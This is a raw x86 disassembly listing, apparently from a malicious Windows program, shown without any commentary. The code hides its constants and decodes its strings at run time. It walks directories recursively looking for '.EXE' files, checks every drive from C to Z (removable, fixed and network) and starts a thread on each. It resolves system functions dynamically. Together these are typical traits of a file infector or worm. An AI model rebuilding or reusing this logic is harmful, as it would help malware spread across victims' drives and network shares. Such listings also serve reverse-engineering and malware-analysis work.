mov edi, ds:10012158h
lea edi, [edx+edi+15h]
imul esi, edi
mov edi, ds:100121C4h
add edi, 37h
imul esi, edi
add ecx, esi
movzx esi, [ebp+var_256]
mov edi, ds:100121CCh
add edi, 1Ah
imul esi, edi
mov edi, ds:10012138h
add edi, 10h
add edi, ds:100121B0h
imul esi, edi
mov edi, ds:1001214Ch
add edi, 36h
imul esi, edi
add ecx, esi
movzx esi, [ebp+var_258]
mov edi, ds:10012094h
add edi, 2
add edi, eax
mov eax, esi
imul eax, edi
movsx esi, word ptr ds:10012100h
movsx edi, word ptr ds:10012180h
lea esi, [esi+edi+0Fh]
imul eax, esi
mov esi, ds:100120ACh
add esi, 0Dh
add esi, ds:1001209Ch
imul eax, esi
movsx esi, word ptr ds:10012110h
lea edx, [edx+esi+35h]
imul eax, edx
mov edx, ecx
add edx, eax
mov [ebp+var_25C], edx
mov eax, edx
mov edx, ds:1000C024h
cmp eax, edx
ja loc_41E1AE
sub edx, eax
mov eax, ds:10012178h
add eax, 0Ah
add eax, ds:1001210Ch
cmp edx, eax
jnb loc_41E1AE
mov eax, ds:100120E4h
add eax, 0A2h
cmp [ebp+arg_24], eax
jz short loc_41E0DF
push 0
push [ebp+arg_0]
call sub_4232A3
add esp, 8
jmp loc_41E1AE
; ---------------------------------------------------------------------------
loc_41E0DF: ; CODE XREF: sub_41DEB9+212j
push 1
push [ebp+arg_0]
call sub_4232A3
add esp, 8
jmp loc_41E1AE
; ---------------------------------------------------------------------------
loc_41E0F1: ; CODE XREF: sub_41DEB9+63j
cmp [ebp+var_112], 2Eh
jz loc_41E1AA
lea eax, [ebp+var_112]
push eax
push [ebp+arg_0]
push 1001350Bh
lea eax, [ebp+var_242]
push eax
call dword ptr ds:10011634h
lea esi, [ebp+var_13E]
sub esp, 140h
mov edi, esp
mov ecx, 9Fh
rep movsw
lea edi, [ebp+var_242]
push edi
call sub_41DEB9
add esp, 154h
jmp short loc_41E1AA
; ---------------------------------------------------------------------------
loc_41E144: ; CODE XREF: sub_41DEB9+2F3j
lea eax, [ebp+var_13E]
push eax
push [ebp+var_248]
call dword ptr ds:1000D004h
mov ebx, eax
or ebx, ebx
jz short loc_41E1AE
cmp [ebp+var_112], 2Eh
jz short loc_41E1AA
lea eax, [ebp+var_112]
push eax
push [ebp+arg_0]
push 1001350Bh
lea eax, [ebp+var_242]
push eax
call dword ptr ds:10011634h
lea esi, [ebp+var_13E]
sub esp, 140h
mov edi, esp
mov ecx, 9Fh
rep movsw
lea edi, [ebp+var_242]
push edi
call sub_41DEB9
add esp, 154h
loc_41E1AA: ; CODE XREF: sub_41DEB9+23Fj
; sub_41DEB9+289j ...
or ebx, ebx
jnz short loc_41E144
loc_41E1AE: ; CODE XREF: sub_41DEB9+74j
; sub_41DEB9+9Cj ...
pop edi
pop esi
pop ebx
leave
retn
sub_41DEB9 endp
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
mov eax, ds:100120C4h
sub eax, 4
cmp ds:10011784h, eax
jbe short loc_41E1D1
push 10011784h
call dword ptr ds:1000C010h
loc_41E1D1: ; CODE XREF: .data:0041E1C4j
mov eax, ds:10011784h
pop ebp
retn 4
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41E1DA proc near ; CODE XREF: sub_41C797+2E1p
; sub_41C797+3C9p ...
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 0Ch
push esi
push edi
mov esi, [ebp+arg_4]
mov eax, [ebp+arg_0]
xor edx, edx
div esi
mov edi, ds:10012098h
sub edi, 7
cmp edx, edi
jnz short loc_41E1FE
mov eax, [ebp+arg_0]
jmp short loc_41E218
; ---------------------------------------------------------------------------
loc_41E1FE: ; CODE XREF: sub_41E1DA+1Dj
mov eax, [ebp+arg_0]
xor edx, edx
div esi
mov [ebp+var_8], eax
mov edi, eax
mul esi
mov [ebp+var_C], eax
mov edi, eax
add edi, esi
mov [ebp+var_4], edi
mov eax, edi
loc_41E218: ; CODE XREF: sub_41E1DA+22j
pop edi
pop esi
leave
retn
sub_41E1DA endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41E21C proc near ; CODE XREF: sub_4232A3+499p
var_26C = byte ptr -26Ch
var_267 = byte ptr -267h
var_168 = byte ptr -168h
var_104 = byte ptr -104h
arg_0 = byte ptr 8
push ebp
mov ebp, esp
sub esp, 26Ch
push esi
push edi
push 104h
lea eax, [ebp+var_104]
push eax
call dword ptr ds:1000E5FCh
lea eax, [ebp+var_168]
push eax
call sub_41C3F2
push 10013506h
call sub_4228CE
push eax
lea esi, [ebp+var_104]
push esi
call dword ptr ds:1000C020h
lea eax, [ebp+var_168]
push eax
lea eax, [ebp+var_104]
push eax
call dword ptr ds:1000C020h
push 100134FEh
call sub_4228CE
push eax
lea esi, [ebp+var_104]
push esi
call dword ptr ds:1000C020h
add esp, 24h
movsx eax, word ptr ds:100121A8h
add eax, ds:10012158h
mov dl, [ebp+arg_0]
mov [ebp+eax+var_267], dl
push 0
push 80h
push 4
push 0
movsx eax, word ptr ds:10012100h
movsx edx, word ptr ds:10012090h
add eax, edx
sub eax, 0Ah
push eax
push 40000000h
lea eax, [ebp+var_104]
push eax
call dword ptr ds:10011788h
mov edi, eax
push 0
lea eax, [ebp+var_26C]
push eax
mov eax, ds:100121C8h
dec eax
push eax
lea eax, [ebp+var_267]
push eax
push edi
call dword ptr ds:10011B8Ch
push edi
call dword ptr ds:10010650h
pop edi
pop esi
leave
retn
sub_41E21C endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41E2FF proc near ; CODE XREF: sub_423CF4+179p
var_12110 = byte ptr -12110h
var_1210C = word ptr -1210Ch
var_1210A = word ptr -1210Ah
var_12108 = dword ptr -12108h
var_12104 = byte ptr -12104h
var_12000 = word ptr -12000h
var_11FFE = byte ptr -11FFEh
var_1FFF = byte ptr -1FFFh
var_1FB3 = byte ptr -1FB3h
var_1FB2 = byte ptr -1FB2h
arg_0 = dword ptr 8
push ebp
mov ebp, esp
mov eax, 12110h
call sub_424F4D
push ebx
push esi
push edi
push [ebp+arg_0]
lea eax, [ebp+var_12104]
push eax
call sub_424F6D
lea ecx, [ebp+var_12104]
or eax, 0FFFFFFFFh
loc_41E327: ; CODE XREF: sub_41E2FF+2Dj
inc eax
cmp byte ptr [ecx+eax], 0
jnz short loc_41E327
mov ebx, ds:10012184h
add ebx, ds:100120CCh
sub ebx, 6
mov esi, eax
sub esi, ebx
mov ebx, ds:100121A0h
sub ebx, 6
mov [ebp+esi+var_12104], bl
push 0
mov eax, ds:1001215Ch
movsx edx, word ptr ds:10012100h
add eax, edx
sub eax, 0Dh
push eax
push 3
push 0
mov eax, ds:1001217Ch
movsx edx, word ptr ds:10012148h
add eax, edx
sub eax, 9
push eax
push 80000001h
lea eax, [ebp+var_12104]
push eax
call dword ptr ds:10011788h
mov edi, eax
cmp edi, 0FFFFFFFFh
jz loc_41E5D4
push 0
lea eax, [ebp+var_12110]
push eax
push 1FFFh
lea eax, [ebp+var_1FFF]
push eax
push edi
call dword ptr ds:1000C028h
mov [ebp+var_12108], eax
push edi
call dword ptr ds:10010650h
movsx eax, word ptr ds:100121A8h
movsx edx, word ptr ds:100120BCh
add eax, edx
sub eax, 9
cmp [ebp+var_12108], eax
jz loc_41E5D4
cmp [ebp+var_1FFF], 4Ch
jnz loc_41E5D4
movzx esi, [ebp+var_1FB3]
movzx ebx, [ebp+var_1FB2]
movzx ebx, bx
shl ebx, 8
or esi, ebx
mov [ebp+var_1210A], si
movzx eax, [ebp+var_1210A]
mov edx, ds:100120F0h
add edx, 46h
movsx ecx, word ptr ds:10012114h
add edx, ecx
add eax, edx
movsx edx, word ptr ds:100120D0h
add edx, 2
add eax, edx
mov [ebp+var_12000], ax
movzx eax, [ebp+var_12000]
movsx eax, [ebp+eax+var_1FFF]
mov edx, ds:1001217Ch
sub edx, 6
cmp eax, edx
jz loc_41E5D4
movzx eax, [ebp+var_12000]
mov edx, ds:100120A0h
add edx, 4
add eax, edx
movsx eax, [ebp+eax+var_1FFF]
mov edx, ds:1001215Ch
sub edx, 3
cmp eax, edx
jnz loc_41E5D4
movzx eax, [ebp+var_12000]
movsx edx, word ptr ds:100120F4h
mov ecx, ds:100120D4h
lea edx, [edx+ecx+6]
mov ecx, eax
add ecx, edx
movzx edx, [ebp+ecx+var_1FFF]
mov esi, ds:10012094h
add esi, 0Ah
add esi, ds:100121B4h
mov ebx, eax
add ebx, esi
movzx esi, [ebp+ebx+var_1FFF]
movzx esi, si
shl esi, 8
mov ebx, edx
or ebx, esi
mov esi, ebx
movzx esi, si
mov ebx, eax
add ebx, esi
mov esi, ebx
mov [ebp+var_1210C], si
movzx eax, [ebp+var_1210C]
lea eax, [ebp+eax+var_1FFF]
push eax
lea eax, [ebp+var_11FFE]
push eax
call sub_424F6D
lea ecx, [ebp+var_11FFE]
or eax, 0FFFFFFFFh
loc_41E502: ; CODE XREF: sub_41E2FF+208j
inc eax
cmp byte ptr [ecx+eax], 0
jnz short loc_41E502
mov edi, eax
mov eax, ds:100120ACh
add eax, 1
mov edx, edi
sub edx, eax
cmp [ebp+edx+var_11FFE], 2Eh
jnz short loc_41E599
mov eax, ds:100120ECh
add eax, ds:100121C0h
sub eax, 5
mov edx, edi
sub edx, eax
movsx eax, [ebp+edx+var_11FFE]
push eax
call dword ptr ds:1000C030h
add esp, 4
cmp eax, 45h
jnz short loc_41E599
mov esi, ds:10012190h
sub esi, 1
mov ebx, edi
sub ebx, esi
movsx esi, [ebp+ebx+var_11FFE]
push esi
call dword ptr ds:1000C030h
add esp, 4
cmp eax, 58h
jnz short loc_41E599
movsx esi, word ptr ds:100120B0h
add esi, ds:100120A4h
sub esi, 9
mov ebx, edi
sub ebx, esi
movsx esi, [ebp+ebx+var_11FFE]
push esi
call dword ptr ds:1000C030h
add esp, 4
cmp eax, 45h
jz short loc_41E59B
loc_41E599: ; CODE XREF: sub_41E2FF+220j
; sub_41E2FF+249j ...
jmp short loc_41E5D4
; ---------------------------------------------------------------------------
loc_41E59B: ; CODE XREF: sub_41E2FF+298j
push 100134F9h
call sub_4228CE
push eax
lea edi, [ebp+var_11FFE]
push edi
call dword ptr ds:1000C020h
mov eax, ds:10012190h
movsx edx, word ptr ds:100121BCh
add eax, edx
sub eax, 9
push eax
lea eax, [ebp+var_11FFE]
push eax
call sub_422E53
add esp, 14h
loc_41E5D4: ; CODE XREF: sub_41E2FF+93j
; sub_41E2FF+DBj ...
pop edi
pop esi
pop ebx
leave
retn
sub_41E2FF endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41E5D9 proc near ; CODE XREF: sub_41B939+22Ep
; sub_4223D9+192p ...
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = byte ptr -18h
var_17 = byte ptr -17h
var_16 = byte ptr -16h
var_15 = byte ptr -15h
var_14 = byte ptr -14h
var_13 = byte ptr -13h
var_12 = byte ptr -12h
var_11 = byte ptr -11h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_1 = byte ptr -1
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 28h
push ebx
push esi
push edi
mov esi, [ebp+arg_4]
inc esi
mov edi, ds:100120A0h
add edi, 1Bh
mov eax, esi
test eax, eax
jge short loc_41E5FA
add eax, 0FFh
loc_41E5FA: ; CODE XREF: sub_41E5D9+1Aj
sar eax, 8
movsx ebx, word ptr ds:10012194h
add ebx, 9
mov edx, eax
imul edx, ebx
add edi, edx
mov [ebp+var_8], edi
mov edi, ds:10012174h
add edi, 0Ch
mov eax, esi
test eax, eax
jge short loc_41E625
add eax, 0FFh
loc_41E625: ; CODE XREF: sub_41E5D9+45j
sar eax, 8
movsx ebx, word ptr ds:100121BCh
add ebx, 0Bh
mov edx, eax
imul edx, ebx
add edi, edx
mov [ebp+var_C], edi
movsx edi, word ptr ds:1001219Ch
mov ebx, ds:100120ACh
lea edi, [edi+ebx+18h]
mov eax, esi
test eax, eax
jge short loc_41E658
add eax, 0FFFFh
loc_41E658: ; CODE XREF: sub_41E5D9+78j
sar eax, 10h
mov ebx, ds:10012140h
add ebx, 0Fh
mov edx, eax
imul edx, ebx
add edi, edx
mov [ebp+var_10], edi
mov eax, esi
mul [ebp+var_8]
mov [ebp+var_1C], eax
and eax, 0FFh
push eax
call sub_42142D
mov ebx, eax
mov [ebp+var_1], bl
mov eax, ds:100120FCh
add eax, 5
mov edx, esi
imul edx, eax
mov eax, edx
and eax, 0FFh
push eax
call sub_42063C
mov ebx, eax
mov [ebp+var_11], bl
mov eax, esi
mul [ebp+var_C]
mov [ebp+var_20], eax
and eax, 0FFh
push eax
call sub_42142D
mov ebx, eax
mov [ebp+var_12], bl
mov eax, ds:100121CCh
add eax, 6Ah
add eax, ds:100120A8h
mov edx, esi
imul edx, eax
mov eax, edx
and eax, 0FFh
push eax
call sub_42063C
mov ebx, eax
mov [ebp+var_13], bl
mov eax, esi
and eax, 0FFh
push eax
call sub_42142D
mov ebx, eax
mov [ebp+var_14], bl
mov eax, ds:100121CCh
add eax, 2Bh
mov edx, esi
imul edx, eax
mov eax, edx
and eax, 0FFh
push eax
call sub_42063C
mov ebx, eax
mov [ebp+var_15], bl
mov eax, esi
mul [ebp+var_10]
mov [ebp+var_24], eax
and eax, 0FFh
push eax
call sub_42142D
mov ebx, eax
mov [ebp+var_16], bl
mov eax, ds:100121A4h
add eax, 49h
mov edx, esi
imul edx, eax
mov eax, edx
and eax, 0FFh
push eax
call sub_42063C
mov ebx, eax
mov [ebp+var_17], bl
mov eax, ds:1001214Ch
add eax, 3Dh
mov edx, esi
imul edx, eax
mov eax, edx
and eax, 0FFh
push eax
call sub_42142D
add esp, 24h
mov ebx, eax
mov [ebp+var_18], bl
movzx edi, [ebp+var_1]
mov eax, edi
shr eax, 1
mov esi, ds:10012188h
add esi, 2
mul esi
mov [ebp+var_28], eax
mov esi, eax
cmp esi, edi
jnz short loc_41E7CE
push 100134DFh
call sub_4228CE
movzx edi, [ebp+var_18]
push edi
movzx edi, [ebp+var_17]
push edi
movzx edi, [ebp+var_16]
push edi
movzx edi, [ebp+var_15]
push edi
movzx edi, [ebp+var_14]
push edi
movzx edi, [ebp+var_13]
push edi
movzx edi, [ebp+var_12]
push edi
movzx edi, [ebp+var_11]
push edi
movzx edi, [ebp+var_1]
push edi
push eax
push [ebp+arg_0]
call dword ptr ds:10011634h
add esp, 30h
jmp short loc_41E812
; ---------------------------------------------------------------------------
loc_41E7CE: ; CODE XREF: sub_41E5D9+1ADj
push 100134C4h
call sub_4228CE
movzx edi, [ebp+var_18]
push edi
movzx edi, [ebp+var_17]
push edi
movzx edi, [ebp+var_16]
push edi
movzx edi, [ebp+var_15]
push edi
movzx edi, [ebp+var_14]
push edi
movzx edi, [ebp+var_13]
push edi
movzx edi, [ebp+var_12]
push edi
movzx edi, [ebp+var_11]
push edi
movzx edi, [ebp+var_1]
push edi
push eax
push [ebp+arg_0]
call dword ptr ds:10011634h
add esp, 30h
loc_41E812: ; CODE XREF: sub_41E5D9+1F3j
pop edi
pop esi
pop ebx
leave
retn
sub_41E5D9 endp
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
mov esi, [ebp+8]
mov eax, [ebp+18h]
mov [ebp+18h], ax
mov eax, ds:10012174h
inc eax
cmp ds:1000E61Ch, eax
jnb short loc_41E845
movsx eax, word ptr ds:1001216Ch
sub eax, 4
mov ds:1000E61Ch, eax
loc_41E845: ; CODE XREF: .data:0041E834j
mov edi, ds:100120ACh
sub edi, 3
jmp short loc_41E85C
; ---------------------------------------------------------------------------
loc_41E850: ; CODE XREF: .data:0041E868j
lea ebx, ds:1000D130h[edi*4]
cmp esi, ebx
jz short loc_41E86A
inc edi
loc_41E85C: ; CODE XREF: .data:0041E84Ej
mov eax, ds:10012108h
add eax, 3E8h
cmp edi, eax
jb short loc_41E850
loc_41E86A: ; CODE XREF: .data:0041E859j
movsx eax, word ptr ds:10012114h
add eax, 3E6h
cmp edi, eax
jnz short loc_41E881
xor eax, eax
jmp loc_41E9DB
; ---------------------------------------------------------------------------
loc_41E881: ; CODE XREF: .data:0041E878j
movzx esi, word ptr ds:1000EA50h[edi*2]
movsx ebx, word ptr ds:100120D0h
inc ebx
cmp esi, ebx
jnz short loc_41E8BC
movzx eax, byte ptr ds:1000E200h[edi]
push eax
push dword ptr ds:1000C060h[edi*4]
call sub_41B66D
add esp, 8
and dword ptr ds:1000D130h[edi*4], 0
xor eax, eax
jmp loc_41E9DB
; ---------------------------------------------------------------------------
loc_41E8BC: ; CODE XREF: .data:0041E893j
movzx esi, word ptr ds:1000EA50h[edi*2]
movsx ebx, word ptr ds:100120E8h
movsx edx, word ptr ds:10012114h
lea ebx, [ebx+edx+0FFF8h]
cmp esi, ebx
jnz loc_41E9B5
mov eax, ds:10012198h
sub eax, 8
mov [ebp-4], eax
jmp loc_41E998
; ---------------------------------------------------------------------------
loc_41E8F1: ; CODE XREF: .data:0041E9ABj
mov esi, [ebp-4]
mov ebx, esi
shl ebx, 2
cmp dword ptr ds:1000D130h[ebx], 0
jz loc_41E995
movzx edx, word ptr ds:1000EA50h[esi*2]
movsx ecx, word ptr ds:100121A8h
mov eax, ds:100120B8h
lea ecx, [ecx+eax+0FFFBh]
cmp edx, ecx
jz short loc_41E995
mov edx, ds:1000C060h[edi*4]
cmp ds:1000C060h[ebx], edx
jnz short loc_41E995
mov bl, ds:1000E200h[esi]
cmp bl, ds:1000E200h[edi]
jnz short loc_41E995
movzx esi, word ptr ds:1000EA50h[esi*2]
mov ebx, ds:10012118h
add ebx, ds:10012184h
sub ebx, 6
cmp esi, ebx
jnz short loc_41E986
mov esi, [ebp-4]
movzx ebx, byte ptr ds:1000E200h[esi]
push ebx
push dword ptr ds:1000C060h[esi*4]
call sub_41B66D
add esp, 8
and dword ptr ds:1000D130h[edi*4], 0
jmp short loc_41E9B1
; ---------------------------------------------------------------------------
loc_41E986: ; CODE XREF: .data:0041E95Fj
mov esi, [ebp-4]
lea esi, ds:1000EA50h[esi*2]
dec word ptr [esi]
jmp short loc_41E9B1
; ---------------------------------------------------------------------------
loc_41E995: ; CODE XREF: .data:0041E901j
; .data:0041E924j ...
inc dword ptr [ebp-4]
loc_41E998: ; CODE XREF: .data:0041E8ECj
mov eax, ds:10012178h
add eax, 3E0h
add eax, ds:1001212Ch
cmp [ebp-4], eax
jb loc_41E8F1
loc_41E9B1: ; CODE XREF: .data:0041E984j
; .data:0041E993j
xor eax, eax
jmp short loc_41E9DB
; ---------------------------------------------------------------------------
loc_41E9B5: ; CODE XREF: .data:0041E8DBj
movzx esi, word ptr ds:1000EA50h[edi*2]
movsx ebx, word ptr ds:10012150h
add ebx, ds:100121CCh
sub ebx, 8
cmp esi, ebx
jle short loc_41E9D9
dec word ptr ds:1000EA50h[edi*2]
loc_41E9D9: ; CODE XREF: .data:0041E9CFj
xor eax, eax
loc_41E9DB: ; CODE XREF: .data:0041E87Cj
; .data:0041E8B7j ...
pop edi
pop esi
pop ebx
leave
retn 24h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41E9E2 proc near ; CODE XREF: sub_423996+19Bp
; sub_423996+1BCp
var_4F = byte ptr -4Fh
var_1D = byte ptr -1Dh
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_1 = byte ptr -1
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
sub esp, 50h
push ebx
push esi
push edi
mov ebx, [ebp+arg_0]
call dword ptr ds:10011770h
mov [ebp+var_8], eax
mov esi, ds:10012124h
dec esi
jmp short loc_41EA3F
; ---------------------------------------------------------------------------
loc_41EA00: ; CODE XREF: sub_41E9E2+6Fj
cmp dword ptr ds:1000D130h[esi*4], 0
jz short loc_41EA3E
mov edx, ds:10010660h[esi*4]
movsx ecx, word ptr ds:10012180h
add ecx, 0EA5Ah
mov eax, ds:10012138h
add eax, ds:100120ECh
sub eax, 8
imul ecx, eax
add edx, ecx
cmp edx, [ebp+var_8]
jnb short loc_41EA3E
and dword ptr ds:1000D130h[esi*4], 0
loc_41EA3E: ; CODE XREF: sub_41E9E2+26j
; sub_41E9E2+52j
inc esi
loc_41EA3F: ; CODE XREF: sub_41E9E2+1Cj
mov eax, ds:100120A8h
add eax, 3E4h
add eax, ds:100120D4h
cmp esi, eax
jb short loc_41EA00
loc_41EA53: ; CODE XREF: sub_41E9E2+94j
; sub_41E9E2+266j
mov eax, [ebx]
mov [ebp+var_14], eax
lea ebx, [ebx+eax]
mov eax, ebx
sub eax, [ebp+arg_0]
cmp eax, [ebp+arg_4]
jnb loc_41EC4E
movsx eax, word ptr ds:100120E0h
add eax, 4
cmp [ebp+var_14], eax
ja short loc_41EA53
mov ecx, ebx
or eax, 0FFFFFFFFh
loc_41EA7D: ; CODE XREF: sub_41E9E2+A0j
inc eax
cmp byte ptr [ecx+eax], 0
jnz short loc_41EA7D
mov [ebp+var_10], eax
mov eax, ebx
sub eax, [ebp+arg_0]
mov edx, ds:1001210Ch
sub edx, 3
sub eax, edx
mov [ebp+var_C], eax
mov [ebp+var_1], 44h
movsx eax, word ptr ds:100120E0h
movsx edx, word ptr ds:1001219Ch
add eax, edx
sub eax, 6
cmp byte ptr [ebx+eax], 2Ah
jnz short loc_41EABB
mov [ebp+var_1], 43h
loc_41EABB: ; CODE XREF: sub_41E9E2+D3j
mov edi, ds:10012138h
sub edi, 8
jmp short loc_41EAED
; ---------------------------------------------------------------------------
loc_41EAC6: ; CODE XREF: sub_41E9E2+120j
cmp dword ptr ds:1000D130h[edi*4], 0
jz short loc_41EAEC
mov edx, [ebp+var_C]
cmp ds:1000C060h[edi*4], edx
jnz short loc_41EAEC
mov dl, ds:1000E200h[edi]
cmp dl, [ebp+var_1]
jz loc_41EC32
loc_41EAEC: ; CODE XREF: sub_41E9E2+ECj
; sub_41E9E2+F8j
inc edi
loc_41EAED: ; CODE XREF: sub_41E9E2+E2j
mov eax, ds:10012130h
add eax, 3E4h
movsx edx, word ptr ds:10012110h
add eax, edx
cmp edi, eax
jb short loc_41EAC6
mov eax, ds:1001213Ch
add eax, 3BEh
cmp [ebp+var_10], eax
jbe loc_41EBE4
mov eax, ds:100121B0h
add eax, 9
movsx edx, word ptr ds:10012180h
add eax, edx
push eax
lea eax, [ebp+var_4F]
push eax
call sub_422857
add esp, 8
mov eax, ds:100120F8h
add eax, 3B5h
movsx edx, word ptr ds:10012100h
add eax, edx
mov [ebp+var_18], eax
movsx eax, word ptr ds:100120BCh
sub eax, 9
mov [ebp+var_1C], eax
loc_41EB58: ; CODE XREF: sub_41E9E2+1FDj
mov eax, [ebp+var_18]
mov al, [ebx+eax]
mov [ebp+var_1D], al
mov eax, [ebp+var_18]
mov edx, ds:1001213Ch
add edx, ds:1001212Ch
sub edx, 7
mov [ebx+eax], dl
push 1000D020h
push [ebp+var_10]
push [ebp+var_1C]
lea eax, [ebp+var_4F]
push eax
mov eax, [ebp+arg_C]
push dword ptr [eax]
push [ebp+arg_0]
push ebx
push [ebp+arg_8]
mov eax, ds:10012178h
add eax, ds:10012198h
sub eax, 0Bh
and eax, 0FFh
push eax
call sub_41DCB0
add esp, 24h
mov eax, [ebp+var_18]
mov dl, [ebp+var_1D]
mov [ebx+eax], dl
mov [ebp+var_1C], eax
mov eax, ds:10012094h
add eax, 3B7h
add eax, ds:100121C0h
add [ebp+var_18], eax
mov eax, [ebp+var_10]
cmp [ebp+var_18], eax
jbe short loc_41EBD7
mov [ebp+var_18], eax
loc_41EBD7: ; CODE XREF: sub_41E9E2+1F0j
mov eax, [ebp+var_10]
cmp [ebp+var_1C], eax
jnb short loc_41EC2D
jmp loc_41EB58
; ---------------------------------------------------------------------------
loc_41EBE4: ; CODE XREF: sub_41E9E2+12Fj
push 100134BFh
call sub_4228CE
push 1000D020h
push [ebp+var_10]
movsx edx, word ptr ds:10012110h
add edx, ds:10012184h
sub edx, 0Ah
push edx
push eax
mov edx, [ebp+arg_C]
push dword ptr [edx]
push [ebp+arg_0]
push ebx
push [ebp+arg_8]
movsx edx, word ptr ds:100120C8h
sub edx, 7
and edx, 0FFh
push edx
call sub_41DCB0
add esp, 28h
loc_41EC2D: ; CODE XREF: sub_41E9E2+1FBj
mov eax, [ebp+arg_C]
inc dword ptr [eax]
loc_41EC32: ; CODE XREF: sub_41E9E2+104j
mov eax, [ebp+var_10]
lea ebx, [ebx+eax]
inc ebx
mov eax, [ebp+arg_C]
movsx edx, word ptr ds:10012180h
add edx, 0Eh
cmp [eax], edx
jbe loc_41EA53
loc_41EC4E: ; CODE XREF: sub_41E9E2+81j
push 100134BBh
call sub_4228CE
push 1000D020h
mov edx, ds:100120ECh
sub edx, 5
push edx
mov edx, ds:100120F0h
add edx, ds:1001214Ch
sub edx, 0Ah
push edx
push eax
mov edx, ds:100120B4h
sub edx, 8
push edx
push 0
push 0
push [ebp+arg_8]
mov edx, ds:10012164h
movsx ecx, word ptr ds:100120D8h
add edx, ecx
sub edx, 4
and edx, 0FFh
push edx
call sub_41DCB0
add esp, 28h
pop edi
pop esi
pop ebx
leave
retn
sub_41E9E2 endp
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
sub esp, 28h
push ebx
push esi
push edi
mov esi, 43h
jmp short loc_41ECC8
; ---------------------------------------------------------------------------
loc_41ECBF: ; CODE XREF: .data:0041ECCBj
and dword ptr ds:10011790h[esi*4], 0
inc esi
loc_41ECC8: ; CODE XREF: .data:0041ECBDj
cmp esi, 5Ah
jbe short loc_41ECBF
loc_41ECCD: ; CODE XREF: .data:0041EE4Aj
mov edi, 43h
jmp loc_41EE2F
; ---------------------------------------------------------------------------
loc_41ECD7: ; CODE XREF: .data:0041EE32j
movsx eax, word ptr ds:10012128h
add eax, ds:100121C0h
sub eax, 3
push eax
call dword ptr ds:10011630h
push 100134B3h
call sub_4228CE
push edi
push eax
lea ebx, [ebp-0Eh]
push ebx
call dword ptr ds:10011634h
add esp, 14h
cmp dword ptr ds:10011790h[edi*4], 0
jz short loc_41ED51
mov eax, ds:10012140h
add eax, ds:10012184h
sub eax, 0Eh
mov [ebp-14h], eax
lea eax, [ebp-14h]
push eax
push dword ptr ds:10011790h[edi*4]
call dword ptr ds:1001164Ch
cmp dword ptr [ebp-14h], 103h
jz short loc_41ED51
push dword ptr ds:10011790h[edi*4]
call dword ptr ds:10010650h
and dword ptr ds:10011790h[edi*4], 0
loc_41ED51: ; CODE XREF: .data:0041ED0Fj
; .data:0041ED3Aj
lea eax, [ebp-0Eh]
push eax
call dword ptr ds:10011664h
mov [ebp-4], eax
cmp eax, 3
jz short loc_41ED9A
cmp eax, 4
jz short loc_41ED9A
cmp eax, 2
jz short loc_41ED9A
cmp dword ptr ds:10011790h[edi*4], 0
jz loc_41EE2E
movsx ebx, word ptr ds:100121BCh
movsx edx, word ptr ds:1001219Ch
add ebx, edx
sub ebx, 0Ch
mov ds:1000E630h[edi*4], ebx
jmp loc_41EE2E
; ---------------------------------------------------------------------------
loc_41ED9A: ; CODE XREF: .data:0041ED61j
; .data:0041ED66j ...
push 1
call dword ptr ds:1000D000h
lea eax, [ebp-24h]
push eax
lea eax, [ebp-20h]
push eax
lea eax, [ebp-1Ch]
push eax
lea eax, [ebp-18h]
push eax
lea eax, [ebp-0Eh]
push eax
call dword ptr ds:1000E0D4h
mov ebx, ds:10012190h
sub ebx, 3
cmp eax, ebx
jnz short loc_41EDE5
cmp dword ptr ds:10011790h[edi*4], 0
jz short loc_41EE2E
mov ebx, ds:100121C0h
sub ebx, 3
mov ds:1000E630h[edi*4], ebx
jmp short loc_41EE2E
; ---------------------------------------------------------------------------
loc_41EDE5: ; CODE XREF: .data:0041EDC7j
cmp dword ptr ds:10011790h[edi*4], 0
jnz short loc_41EE2E
mov ds:1000E630h[edi*4], edi
lea eax, [ebp-28h]
push eax
movsx eax, word ptr ds:10012194h
push eax
lea ebx, ds:1000E630h[edi*4]
push ebx
push 100024C6h
mov ebx, ds:10012134h
add ebx, ds:10012178h
sub ebx, 6
push ebx
push 0
call dword ptr ds:10011B90h
mov ds:10011790h[edi*4], eax
loc_41EE2E: ; CODE XREF: .data:0041ED75j
; .data:0041ED95j ...
inc edi
loc_41EE2F: ; CODE XREF: .data:0041ECD2j
cmp edi, 5Ah
jbe loc_41ECD7
movsx eax, word ptr ds:100120B0h
sub eax, 8
push eax
call dword ptr ds:10011630h
pop ecx
jmp loc_41ECCD
; ---------------------------------------------------------------------------
db 5Fh
dd 0C2C95B5Eh, 1B80004h, 0C2800040h
db 18h, 0
; =============== S U B R O U T I N E =======================================
sub_41EE5E proc near ; CODE XREF: .data:00423023p
push edi
push 100134A5h
call sub_4228CE
pop ecx
push eax
call dword ptr ds:1000E5E8h
mov ds:100121DCh, eax
test eax, eax
jnz short loc_41EE91
push 10013497h
call sub_4228CE
pop ecx
push eax
call dword ptr ds:1000F244h
mov ds:100121DCh, eax
loc_41EE91: ; CODE XREF: sub_41EE5E+1Aj
push 10013484h
call sub_4228CE
push eax
push dword ptr ds:100121DCh
call dword ptr ds:1000E1F8h
mov ds:1001160Ch, eax
push 10013471h
call sub_4228CE
push eax
push dword ptr ds:100121DCh
call dword ptr ds:1000E1F8h
mov ds:10010648h, eax
push 1001345Fh
